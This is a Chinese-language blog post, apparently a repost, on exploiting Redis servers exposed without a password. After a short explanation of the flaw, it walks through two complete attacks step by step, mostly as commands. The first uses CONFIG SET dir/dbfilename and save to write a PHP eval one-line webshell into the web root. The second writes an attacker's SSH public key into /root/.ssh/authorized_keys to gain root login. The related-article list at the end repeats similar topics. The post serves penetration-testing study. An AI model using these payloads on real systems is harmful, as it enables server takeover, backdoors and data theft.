0x01 什么是Redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

(1)Redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

  漏洞的危害

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;

(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;

(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

0x02 利用Redis写Webshell

  • 利用前提:

  1. l  靶机Redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
  2. l  开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

1.通过phpinfo页面或者其他方法获取Redis服务器网站的根目录

得到服务器网站的根目录是:/var/www/html

2. 通过redis-cli与Redis服务端进行连接,通过Redis未授权直接连接Redis服务端

root@ubuntu:~# redis-cli -h 192.168.5.57

利用前面我们已经得知的网站根目录开始利用Redis写Webshell(一句话木马)

config set dir /var/www/html

config set dbfilename webshell.php
set webshell "<?php echo @eval($_POST['x']); ?>"
save

连接shell

0x02 利用"公私钥"认证获取root权限,ssh免密登陆目标服务器

1、 在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空

root@ubuntu:~# ssh-keygen -t rsa

2、 进入/root/.ssh目录:  cd /root/.ssh , 讲生成的公钥保存到1.txt(名字随意)

root@ubuntu:~# cd /root/.ssh/
root@ubuntu:~/.ssh#  (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
root@ubuntu:~/.ssh# ls -a
.  ..  1.txt  id_rsa  id_rsa.pub  known_hosts

3、 链接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)

 cat 1.txt | redis-cli -h 10.10.10.135 -x set crack

4、 通过客户端远程登陆目标靶机的Redis服务,并使用 CONFIG GET dir 命令得到Redis备份的路径

redis-cli -h 10.10.10.135CONFIG GET dir

5、 更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

config set dir /root/.ssh

6、 设置上传公钥的备份文件名字为authorized_keys

CONFIG SET dbfilename authorized_keys

7、 检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出

CONFIG GET dbfilenamesaveexit

8、 在攻击机上使用SSH免密登录靶机

ssh -i id_rsa root@x.x.xx

最后成功root权限登陆目标系统

 

 

转载于:https://www.cnblogs.com/-qing-/p/10978912.html

Redis未授权访问写Webshell和公私钥认证获取root权限相关推荐

  1. redis未授权访问漏洞环境搭建复现-ssh免密登录

    首先,安装redis 我是直接sudo apt-get redis 安装的 然后启动redis 直接找到/usr/bin目录下的redis-server和redis-cli 测试连接成功 因为我是腾讯 ...

  2. Redis未授权访问漏洞复现(三种方式)

    目录 利用无口令远程登陆redis 利用Redis的持久化写webshell 安装 复现 Redis 利用持久化,利用"公私钥"认证获取root权限 利用无口令远程登陆redis ...

  3. redis 未授权访问详解

    一. 应用介绍 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型. Key-Value数据库.和Memcached类似,它支持存储的value 类型相对更多,包括 ...

  4. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  5. Redis未授权访问漏洞详细版

    Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  6. redis未授权访问getshell的方式

    redis简介 Redis是一个开源的使用ANSI C语言编写.遵守BSD协议.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 端口:6379 环境 kali =>192.16 ...

  7. Redis未授权访问攻击场景分析与防御

    主要从redis未授权访问入手,还原一些黑客的攻击场景,介绍一些常用的攻击方法和安全知识. 0x0 应用介绍 REmote DIctionary Server(Redis) 是一个由Salvatore ...

  8. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

  9. Redis 未授权访问缺陷可轻易导致系统被黑

    Redis 未授权访问缺陷可轻易导致系统被黑 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在 ...

最新文章

  1. Spring中如何使用设计模式
  2. 防火墙 之 iptables 匹配条件讲解
  3. python软件安装步骤-一篇非常棒的安装Python及爬虫入门博文!
  4. 5see我看视频交友客户端 v2.3.0.11官方版
  5. Messages 贪心,期望,概率,模拟(2000)
  6. ML.NET 示例:对象检测
  7. [转]Android 常见安全漏洞修复理论与实践
  8. java的serversocket_Java ServerSocket 实现聊天室功能(简易版)
  9. 直接在安装了redis的Linux机器上操作redis数据存储类型--hash类型
  10. 建立一个lstm_基于LSTM的双色球预测(一)
  11. 计算机应用基础第十一版答案,计算机应用基础 11.doc
  12. 如何在Web App Project 或者 Web Site Project的App_Code 内使用 Profile/ProfileCommon
  13. AXI3.0 AXI4.0 五大通道接口详细介绍
  14. 干货丨荧光定量pcr应用于各个领域的分类疑难问题解答
  15. 《杀生》,胡说一下电影与思考
  16. linux国际象棋,国际象棋通用引擎协议
  17. 为自己的APP搭建个简易后台
  18. java实现头像上传 前后端
  19. 电信专业《数字信号处理课程设计》任务书
  20. Spring cloud Eureka consumer 调用 provider ERROR:java.net.UnknownHostException: XXX-PAYMENT-SERVICE

热门文章

  1. 题目1033:继续xxx定律
  2. 通过pipeline实现jenkins的ci/cd功能
  3. HTML5学习之语义化标签
  4. htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
  5. 【转】Android -- Looper.prepare()和Looper.loop()
  6. android 解压版sdk安装的问题
  7. Socket通信实例
  8. 初学flex时候搞得一个大头贴工具(开源)
  9. Spring Getting Started (1):构建一个RESTful的web服务
  10. java vertx http_佛系学习Vert.x之创建你的HttpServer